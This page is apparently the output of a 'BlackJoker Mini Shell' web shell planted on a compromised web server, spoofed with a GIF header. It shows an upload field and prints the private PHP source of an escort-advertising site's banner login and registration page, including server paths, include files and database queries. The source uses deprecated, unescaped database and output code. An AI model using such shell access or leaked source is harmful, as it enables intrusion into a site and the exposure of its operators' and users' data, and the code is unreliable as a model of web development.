GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/bannerlogin.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
<? include "includes/header_top.php";?>

<script language="javascript">

function openlogin()
{
	
	  document.getElementById('avt2').style.display="block";
	  document.getElementById('avt3').style.display="none";
	
}
function openregistration()
{
	  document.getElementById('avt2').style.display="none";
	  document.getElementById('avt3').style.display="block";
}


</script>
<link rel="stylesheet" href="default_data/jquery-ui.css">

<script src="default_data/jquery-ui.js"></script>
<link rel="stylesheet" href="default_data/style.css">
<script>
$(function() {
$( "#datepicker" ).datepicker();
});
</script>
<script type="text/javascript">
function selectCity(country_id){
	if(country_id!="-1"){
		loadData('state',country_id);
		$("#city_dropdown").html("<option value='-1'>Select city</option>");	
	}else{
		$("#state_dropdown").html("<option value='-1'>Select state</option>");
		$("#city_dropdown").html("<option value='-1'>Select city</option>");		
	}
}

function selectState(state_id){
	if(state_id!="-1"){
		loadData('city',state_id);
	}else{
		$("#city_dropdown").html("<option value='-1'>Select city</option>");		
	}
}

function loadData(loadType,loadId){
	var dataString = 'loadType='+ loadType +'&loadId='+ loadId;
	$("#"+loadType+"_loader").show();
    $("#"+loadType+"_loader").fadeIn(400).html('Please wait...');
	$.ajax({
		type: "POST",
		url: "loadData.php",
		data: dataString,
		cache: false,
		success: function(result){
			$("#"+loadType+"_loader").hide();
			$("#"+loadType+"_dropdown").html("<option value='-1'>Select "+loadType+"</option>");  
			$("#"+loadType+"_dropdown").append(result);  
		}
	});
}
</script>
<body>
<? include "includes/header.php";?>
 
<div class="main_bg">

 		<div style="height:32px; width:1000px;">
        	        
        </div>
        <div  style="width:1000px; margin:0 auto;">
        	<div class="statedetails">
                	<div class="stdtls_header">
                    	Advertise - <span style="color:#000;">Banner Ad </span>                	
                    </div>
                    <div class="stdtls_midder">
                    	<div style=" width:960px; margin:0 auto;"><br/>
                        	<div class="seftyleft">
                                <br/>
                                    <img src="images/100safe.png" />
                                 <p class="notetext">NOTE</p>
                                 <p class="noteans">
                                 	Chose your desired package then click the red botton.<br/><br/>You can pay by Visa, Mastercard and Masstro credit cards.<br/><br/>
                                 
                                 </p>
                                
                            </div>
                            <div class="bannermid">
                            
                            	<div style="width:600px; margin:0 auto;">
                                	<div style="width:500px; margin:0 auto;">
                                    	
                                        <img src="images/newregistration.png" onclick="openregistration()" />&nbsp; &nbsp;&nbsp;<img src="images/signin.png" onclick="openlogin()" />
                                        <br/>
                                         <? if($_GET['msg']==2){ ?>
                                        	<p class="passwordmsg">Username or Email Already Exit.</p>
                                        <? } ?>
                                    </div><br/>
                                    <div class="bannerlogin" id="avt2">
                                    <h1>SIGN IN</h1>
                                    	<form action="bannerlogin-process.php" method="post" name="logform" style="margin: 0px; padding: 0px;" onSubmit="return validate();">
                                       <input name="submit_form" value="1" type="hidden">
                                            
                                     
                                            <table class="join_table2" border="0" cellpadding="0" cellspacing="0">
                                             <tr>
                                              <td class="jointext222">Username <br/><input name="username" id="username" class="main_input"   type="text"><br/>
                                              </td>
                                              <td></td>
                                             </tr>       
                                             <tr>
                                              <td class="jointext222">password <br/><input name="passWord" id="passWord" class="main_input"   type="password"></td>
                                              <td></td>
                                             </tr>         
                                             <tr>
                                              <td align="right"><input src="images/submit.png" type="image" /></td>
                                              <td>
                                               
                                              </td>
                                              <td></td>
                                             </tr>
                                                                            
                                            </table>
                                          </form>
                                    
                                    </div><br/>
                                    <div class="bannerlogin" style="display:none" id="avt3">
                                    <h1>New Registration</h1>
                                    	<form action="bannerregistration.php" method="post" name="f1" style="margin: 0px; padding: 0px;" enctype="multipart/form-data" onSubmit="return validate();">
                                         <input name="submit_form" value="1" type="hidden">
                                         <table class="join_table2" border="0" cellpadding="0" cellspacing="0">
                                            <tr>
                                                <td colspan="3" align="center">
                                                   
                                                </td>
                                            </tr>
                                             <tr>
                                                <td class="jointext">Profile Name :</td>
                                                <td><input name="userName" id="username" class="main_input"   type="text"></td>
                                                <td></td>
                                             </tr>
                                             <tr>
                                                <td class="jointext">Choose a password :</td>
                                                <td><input name="passWord" id="password" class="main_input"   type="password"></td>
                                                <td></td>
                                             </tr>
                                             
                                             <tr>
                                               <td class="jointext">Your Email address :</td>
                                               <td><input name="emailAddrs" id="email" class="main_input"   type="text"><br/>
                                                     <!--  <span style="width:230px; color:#527750;">
                                                              e.g. myname@example.com. This will be used to sign-in to your account.
                                                       </span>-->
                                               </td>
                                               <td></td>
                                              </tr>
                                              <tr height="10"></tr>
                                              <tr>
                                                <td class="jointext">Date of Birth :</td>
                                                <td>
                                                    <input name="datepicker" id="datepicker" class="main_input"   type="text">&nbsp;<br/>
                                                </td>
                                                <td></td>
                                              
                                              </tr>
                                              <tr height="10"></tr>
                                               <tr>
                                                        <td class="jointext">&nbsp;Working Country :</td>
                                                        <td>
                                                            <select class="drp_img2" id="visitor_country" name="visitor_country" onChange="openmobilecareer(this.value)">

                                                                <option value="">Select Country</option>
                                                
                                                                <?
                                                
                                                                $sql_country="select * from countries";
                                                
                                                                $country_res=execute_query($sql_country);
                                                
                                                                while($country_row=mysql_fetch_array($country_res)){
                                                
                                                                ?>
                                                
                                                                <option value="<?=$country_row['ccode']?>" <? if($row_postad['country_name']==$country_row['ccode']){ ?> selected="selected"<? } ?> ><?=$country_row['country']?></option>
                                                
                                                                <? }?>
                                                
                                                                </select>
                                                        
                                                        </td>
                                                    </tr>
                                                    <tr height="5"></tr>
                                                    <tr>
                                                    	<td colspan="2">
                                                        	<div style="display:none; width:100%; margin:0 auto;" id="openus">
                                                            	<table border="0" cellpadding="0" cellspacing="0">
                                                            		<tr>
                                                                    	<td width="200" class="jointext">&nbsp;Working State:</td>
                                                                        <td>
                                                                           <!--<input type="text" name="visitor_state" value="<?=$row_postad['escort_state']?>" class="main_input" />-->
                                                                             <select name="prlState" id="state_dropdown" class="drp_img2" onChange="selectState(this.options[this.selectedIndex].value)"> 
                                                                                <option value="-1">Select state</option>        
                                                                             <? 
                                                                                 $sql_state="SELECT * FROM states ORDER BY name";
                                                                                 $res_state=execute_query($sql_state);
                                                                                 while($row_state=mysql_fetch_array($res_state))
                                                                                  { 
                                                                                  ?>
                                                                                 <option value="<?=$row_state['id'] ?>"><?=$row_state['name'] ?></option>
                                                                               <? } ?>                              
                                                                      </select> 
                                                                         </td>
                                                                    </tr>
                                                                    <tr height="5"></tr>
                                                                    <tr>
                                                                        <td width="200" class="jointext">&nbsp;Working City:</td>
                                                                        <td>
                                                                        <!--<input type="text" name="visitor_city" value="<?=$row_postad['escort_city']?>" class="main_input" />-->
                                                                            <select name="prlCities" id="city_dropdown" class="drp_img2">
                                                                                 <option value="-1"  name="cityname"></option>               
                                                                            </select> 
                                                                        </td>
                                                                    </tr>
                                                            	</table>
                                                            </div>
                                                        
                                                        
                                                        
                                                        </td>
                                                    
                                                    </tr>
                                                    <tr height="5"></tr>
                                                    <tr>
                                                    	<td colspan="2">
                                                        	<div style="width:100%; margin:0 auto;" id="openother">
                                                            	<table border="0" cellpadding="0" cellspacing="0">
                                                            		<!--<tr>
                                                                    	<td width="200">&nbsp;Working State:</td>
                                                                        <td>
                                                                           <input type="text" name="visitor_state" value="<?=$row_postad['escort_state']?>" class="main_input" />
                                                                            
                                                                         </td>
                                                                    </tr>
                                                                    <tr height="5"></tr>-->
                                                                    <tr>
                                                                        <td width="200" class="jointext">&nbsp;Working City:</td>
                                                                        <td>
                                                                        <input type="text" name="visitor_city" value="<?=$row_postad['escort_city']?>" class="main_input" />
                                                                            <!--<select class="drp_img2" id="visitor_city" name="visitor_city">
                                                                            </select>-->
                                                                        </td>
                                                                    </tr>
                                                            	</table>
                                                            </div>
                                                        
                                                        
                                                        
                                                        </td>
                                                    
                                                    </tr>
                                              <tr>
                                                <td class="jointext">Your Account Type :</td>
                                                <td class="acctypecolor">
                                                <input type="radio" name="acctype" value="independent" />&nbsp;Independent Escort<br/>
                                                <input type="radio" name="acctype" value="agency" />&nbsp;Escort Agency<br/>
                                                <input type="radio" name="acctype" value="tstv" />&nbsp;Ts/Tv Escort<br/>                                    
                                                <input type="radio" name="acctype" value="hobbyist" />&nbsp;Hobbyist
                                                </td>
                                                <td></td>
                                              </tr>
                                               <tr>
                                                  <td></td>
                                                   <td>
                                                      <input src="images/submit.png" type="image"  style="margin-left:20px;"/>
                                                   </td>
                                                   <td></td>
                                                </tr>
                                                <tr>
                                                      <td></td>
                                                      <td></td>
                                                      <td></td>
                                                 </tr>
                                                 <tr>
                                                      <td></td>
                                                      <td></td>
                                                      <td></td>
                                                 </tr>
                                              </table>
                                            </form>
                                    
                                    </div><br/>
                                    
                                    
                                    
                            	
                            	</div>
                                
                               
                            </div>
                            <div class="bannerrules">
                            	<table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">
                                	<tr height="10"></tr>
                                    <tr>
                                    	<td class="freetext2"><img src="images/signuparrow.png" /> Our Country</td>
                                    
                                    </tr>
                                    <tr height="6"></tr>
                                    <tr>
                                    	<td class="freetext2"><img src="images/signuparrow.png" /> Random Position</td>
                                    
                                    </tr>
                                    <tr height="6"></tr>
                                    <tr>
                                    	<td class="freetext2"><img src="images/signuparrow.png" /> 200 x 200 px size</td>
                                    
                                    </tr>
                                    <tr height="6"></tr>
                                    <tr>
                                    	<td class="freetext2"><img src="images/signuparrow.png" /> Max 150kb</td>
                                    
                                    </tr>
                                    <tr height="6"></tr>
                                    <tr>
                                    	<td class="freetext2"><img src="images/signuparrow.png" /> Banner & url Change</td>
                                    
                                    </tr>
                                    <tr height="45"></tr>
                                    <tr>
                                    	<td class="morelink22">
                                        	More info about Banner Advertisement
                                        </td>
                                    
                                    </tr>
                                
                            	</table>
                            </div>                                                   
                           <br class="spacer" />
                           	       	
                        </div>
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
              </div>
            
        </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0